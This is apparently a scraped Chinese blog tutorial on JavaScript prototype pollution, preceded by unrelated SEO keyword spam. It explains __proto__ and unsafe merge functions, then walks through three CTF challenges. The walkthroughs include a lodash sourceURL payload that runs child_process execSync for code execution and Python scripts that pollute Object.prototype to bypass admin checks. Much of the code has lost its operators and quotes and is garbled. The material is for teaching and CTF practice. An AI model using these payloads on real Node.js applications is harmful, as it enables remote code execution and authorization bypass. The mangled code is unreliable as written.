娱乐公司网站模板,佛系汉化组wordpress博客,比较实用的h5网页建设网站,屏山县龙华镇中心村建设招标网站想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念 可以看这篇文章#xff1a;对象的继承和原型链 目录
prototype和__proto__分别是什么#xff1f;
原型链继承
原型链污染是什么
哪些情况下原型链会被污染#xff1f;
例题1#xff1a;Code-Breaking 2… 想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念 可以看这篇文章对象的继承和原型链 目录
prototype和__proto__分别是什么
原型链继承
原型链污染是什么
哪些情况下原型链会被污染
例题1Code-Breaking 2018 Thejs 分析
例题2hackit-2018 例题3hackim-2019 prototype和__proto__分别是什么
JavaScript中我们如果要定义一个类需要以定义“构造函数”的方式来定义
function Foo() { //构造函数this.bar 1 //构造函数的一个属性
}
new Foo()
构造函数一般函数名的首字母必须大写Foo函数就是一个构造函数Foo函数的内容就是Foo类的构造函数而this.bar就是Foo类的一个属性。 为了简化编写JavaScript代码ECMAScript 6后增加了class语法但class其实只是一个语法糖。 一个类必然有一些方法类似属性this.bar我们也可以将方法定义在构造函数内部
function Foo() {this.bar 1this.show function() {console.log(this.bar)}
}
(new Foo()).show()
这里定义的show就是一个方法
但这样写有一个问题就是每当我们新建一个Foo对象时this.show function...就会执行一次问题的愿意就是因为这个show方法实际上是绑定在对象上的而不是绑定在“类”中。
我们希望在创建类的时候只创建一次show方法这时候就则需要使用原型prototype了
function Foo() {this.bar 1
}
Foo.prototype.show function show() {console.log(this.bar)
}
let foo new Foo()
foo.show() 我们可以认为原型prototype是类Foo的一个属性而所有用Foo类实例化的对象都将拥有这个属性中的所有内容包括变量和方法。
我们可以通过Foo.prototype来访问Foo类的原型这里就又出现了一个问题Foo实例化出来的对象不能通过prototype访问原型的。
这时候就该__proto__登场了。
一个Foo类实例化出来的foo对象可以通过foo.__proto__属性来访问Foo类的原型也就是说 foo.__proto__ Foo.prototype 所以总结一下 prototype是一个类的属性所有类对象在实例化的时候将会拥有prototype中的属性和方法 一个对象的__proto__属性指向这个对象所在的类的prototype属性
原型链继承
所有类对象在实例化的时候将会拥有prototype中的属性和方法这个特性被用来实现JavaScript中的继承机制。
比如
function Father() {this.first_name Donaldthis.last_name Trump
}function Son() {this.first_name Melania
}Son.prototype new Father() //Son继承了 Father()let son new Son() //son继承lSon的方法和属性
console.log(Name: ${son.first_name} ${son.last_name}) //这里找到了Father中的这两个属性 总结一下对于对象son在调用son.last_name的时候实际上JavaScript引擎会进行如下操作 在对象son中寻找last_name 如果找不到则在son.__proto__中寻找last_name 如果仍然找不到则继续在son.__proto__.__proto__中寻找last_name 依次寻找直到找到null结束。比如Object.prototype的__proto__就是null
JavaScript的这个查找的机制被运用在面向对象的继承中被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程我们并不深入研究更细节的内容只要牢记以下几点即可 每个构造函数(constructor)都有一个原型对象(prototype) 对象的__proto__属性指向类的原型对象prototype JavaScript使用prototype链实现继承机制
原型链污染是什么
前面说到foo.__proto__指向的是Foo类的prototype。
那么如果我们修改了foo.__proto__中的值是不是就可以修改Foo类呢
做个简单的实验
let foo { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar 2
// foo.__proto__ Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo {}
console.log(zoo.bar);
//这里因为zoo没有定义bar
// 所以就会到Object.prototype去找bar就会找到2 最后虽然zoo是一个空对象{}但zoo.bar的结果居然是2
原因也显而易见因为前面我们修改了foo的原型foo.__proto__.bar 2而foo是一个Object类的实例所以实际上是修改了Object这个类给这个类增加了一个属性bar值为2。
后来我们又用Object类创建了一个zoo对象let zoo {}zoo对象自然也有一个bar属性了。
那么在一个应用中如果攻击者控制并修改了一个对象的原型那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
这种攻击方式就是原型链污染。
哪些情况下原型链会被污染
在实际应用中哪些情况下可能存在原型链能被攻击者修改的情况呢
我们思考一下哪些情况下我们可以设置__proto__的值呢
其实找找能够控制数组对象的“键名”的操作即可 对象merge克隆 对象clone其实内核就是将待操作的对象 merge到一个空对象中
以对象merge为例我们想象一个简单的merge函数
function merge(target, source) {for (let key in source) {if (key in source key in target) {merge(target[key], source[key])} else {target[key] source[key]}}
}
在合并的过程中存在赋值的操作target[key] source[key]那么这个key如果是__proto__是不是就可以原型链污染呢
我们用如下代码实验一下
function merge(target, source) { //接收两个参数for (let key in source) { //判断source是否有相应的keyif (key in source key in target) {merge(target[key], source[key])} else {target[key] source[key]//把第二个参数中的key赋值给了第一个参数中的key}}
}
var x {// name: oupeng,age: 18
}
var y {// name: abc,age: 19,num: 100
}
merge(x, y);
console.log(x);
console.log(y);let o1 {}//o1是空的
let o2 { a: 1, __proto__: { b: 2 } }
//o2对象对象里面有两个参数
merge(o1, o2) //将o2里面的属性给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 {}
console.log(o3.b) 结果是合并虽然成功了但原型链没有被污染
这是因为我们用JavaScript创建o2的过程let o2 {a: 1, __proto__: {b: 2}}中__proto__已经代表o2的原型了此时遍历o2的所有键名你拿到的是[a, b]__proto__并不是一个key自然也不会修改Object的原型。
那么如何让__proto__被认为是一个键名呢
我们将代码改成如下
let o1 {}
let o2 JSON.parse({a: 1, __proto__: {b: 2}})
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
o3 {}
console.log(o3.b) 可见新建的o3对象也存在b属性说明Object已经被污染
这是因为JSON解析的情况下__proto__会被认为是一个真正的“键名”而不代表“原型”所以在遍历o2的时候会存在这个键。
总结merge操作是最常见可能控制键名的操作也最能被原型链攻击很多常见的库都存在这个问题。
例题1Code-Breaking 2018 Thejs 分析
后端主要代码如下完整代码可参考这里 lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集其中包含字符串、数组、对象等操作。这个Web应用中使用了lodash提供的两个工具 lodash.template 一个简单的模板引擎 lodash.merge 函数或对象的合并
其实整个应用逻辑很简单用户提交的信息用merge方法合并到session里多次提交session里最终保存你提交的所有信息。
而这里的lodash.merge操作实际上就存在原型链污染漏洞。
在污染原型链后我们相当于可以给Object对象插入任意属性这个插入的属性反应在最后的lodash.template中。
我们看到lodash.template的代码 // Use a sourceURL for easier debugging.
var sourceURL sourceURL in options ? //# sourceURL options.sourceURL \n : ;
// ...
var result attempt(function() {return Function(importsKeys, sourceURL return source)//这里的Function是构造函数 .apply(undefined, importsValues);
}); options是一个对象sourceURL取到了其options.sourceURL属性。
这个sourceURL属性原本是没有赋值的默认取空字符串。
但因为原型链污染我们可以给所有Object对象中都插入一个sourceURL属性。
最后这个sourceURL被拼接进new Function的第二个参数中造成任意代码执行漏洞。
我将带有__proto__的Payload以json的形式发送给后端
因为express框架支持根据Content-Type来解析请求Body这里给我们注入原型提供了很大方便 具体过程 代码这里 1我们首先在server.js目录下新建一个re.js文件将上面的代码粘贴进去 2然后我们进入cmd命令行cd到该文件所在路径使用node运行文件 注如果报错说没有某个模块那么可以使用 npm install
npm install 模块名 这两条命令任意一条来安装需要的模块 3然后我们可以尝试在网页访问你的ip地址:3000 4然后我们使用Burpsuite抓包访问该页面 Payload {__proto__:{sourceURL:\u000areturn (){for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load(child_process).execSync(id)}\u00a//}} 注这里的 delete Object.prototype[a];是为了在进行了原型链污染后删除掉该变量防止其他人访问
例题2hackit-2018
这里我使用的环境是window
1代码 const express require(express)
var hbs require(hbs);
var bodyParser require(body-parser);
const md5 require(md5);
var morganBody require(morgan-body);
const app express();
var user []; //empty for now
var matrix [];
for (var i 0; i 3; i){matrix[i] [null , null, null];
}
function draw(mat) {var count 0;for (var i 0; i 3; i){for (var j 0; j 3; j){if (matrix[i][j] ! null){count 1;}}}return count 9;
}
app.use(express.static(public));
app.use(bodyParser.json());
app.set(view engine, html);
morganBody(app);
app.engine(html, require(hbs).__express);
app.get(/, (req, res) {
for (var i 0; i 3; i){matrix[i] [null , null, null];
}res.render(index);
})
app.get(/admin, (req, res) { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);}
}
)
app.post(/api, (req, res) {var client req.body;var winner null;
if (client.row 3 || client.col 3){client.row % 3;client.col % 3;}matrix[client.row][client.col] client.data;//这里可以这样传入值 matrix[__proto__][__admintoken] oupeng//注传值时一定要用json的格式去传值for(var i 0; i 3; i){if (matrix[i][0] matrix[i][1] matrix[i][1] matrix[i][2] ){if (matrix[i][0] X) {winner 1;}else if(matrix[i][0] O) {winner 2;}}if (matrix[0][i] matrix[1][i] matrix[1][i] matrix[2][i]){if (matrix[0][i] X) {winner 1;}else if(matrix[0][i] O) {winner 2;}}}
if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] X){winner 1;}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] O){winner 2;}
if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] X){winner 1;}if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] O){winner 2;}
if (draw(matrix) winner null){res.send(JSON.stringify({winner: 0}))}else if (winner ! null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}
})
app.listen(3000, () {console.log(app listening on port 3000!)
}) 分析代码后我们可以看到这里的if方法为true时我们才可以正常的拿到falg那么想要这if条件成立需要满足这个条件user.admintoken的md5值与req.query.querytoken值必须保持一致 if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);} 然后我们再看代码后发现全文没有对user.admintoken进行赋值所以理论上这个值是不存在的但是下面有一句话赋值语句 matric[client.row][client.col] client.data 由于client使我们可控的然后data,row,col都是我们post传入的值都是可控的所以可以通过在这里传入一个值让没有值的user.admintoken去原型链上寻找就会找到我们给matric传入的值从而实现原型链污染
具体过程
1我们首先在Node.js目录下新建一个re.js文件将上面的代码粘贴进去
2然后我们进入cmd命令行cd到该文件所在路径使用node运行文件
注如果报错说没有某个模块那么可以使用 npm install
npm install 模块名 这两条命令任意一条来安装需要的模块
3编写Python代码来实现POST请求 import requests
import json
url http://你的ip地址:3000/api
url1 http://你的ip地址:3000/admin?querytoken824b7c531591af853d310b1b028107fe#这里是yps的参数md5值
headers {Content-type:application/json}
data {row:__proto__,col:admintoken,data:yps}
res1requests.post(url,headersheaders,datajson.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2requests.get(url1)
print(res2.text) 4运行Python文件
可以看到成功的通过原型链污染拿到了flag 例题3hackim-2019
代码 use strict;
const express require(express);
const bodyParser require(body-parser)
const cookieParser require(cookie-parser);
const path require(path);
const isObject obj obj obj.constructor obj.constructor Object;
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] b[attr];}}return a
}
function clone(a) {return merge({}, a);
}
// Constants
const PORT 8080;
const HOST 0.0.0.0;
const admin {};
// App
const app express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use(/, express.static(path.join(__dirname, views)));
app.post(/signup, (req, res) {var body JSON.parse(JSON.stringify(req.body));var copybody clone(body)if (copybody.name) {res.cookie(name, copybody.name).json({done: cookie set});} else {res.json({error: cookie not set})}
});
app.get(/getFlag, (req, res) {var аdmin JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin 1) {res.send(hackim19{});} else {res.send(You are not authorized);}
});
app.listen(PORT, HOST);
console.log(Running on http://${HOST}:${PORT}); 首先就是先看拿到值的条件 if (admin.аdmin 1) {res.send(hackim19{});} else {res.send(You are not authorized);} 这里需要admin.admin 1才能正常拿到
通过分析以上代码我们可以发现上面的admin对象是一个空对象没有值。 function clone(a) {return merge({}, a);
} 这里我们可以使用merge给{}中提交一个key__proto__valueadmin1来进行原型链污染就可以让admin通过原型链找到admin的值1来满足if条件拿到if后面的值那边我们就可以通过a本题中传给的a是body来进行污染
具体过程
1首先和前面一样新建一个名为re3.js文件
文件内容就是前面的代码
2然后我们进入cmd命令行cd到该文件所在路径使用node运行文件
注如果在安装包时有一个 cookie-parser包一个报错那么可以在node.js中的package.json中增加这样一行 cookie-parser: ^1.4.6
3编写pythonPOST提交代码 import requests
import json
url1 http://你的ip地址:8080/signup
url2 http://你的ip地址:8080/getflag
s requests.session()
headers {Content-Type: application/json}
data1 {__proto__: {admin: 1}}
res1 s.post(url1, headersheaders, datajson.dumps(data1))
res2 s.get(url1)
print(res2.text) 这里的res1会让代码中的body{__proto__:{admin:1}}
然后代码中的copybody clone(body)会将body中的内容克隆到 merge函数的空对象中然后通过merge函数就会污染原型链后面的res2就可以通过原型链拿到flag
4运行python代码
通过结果可以看到成功的拿到了flag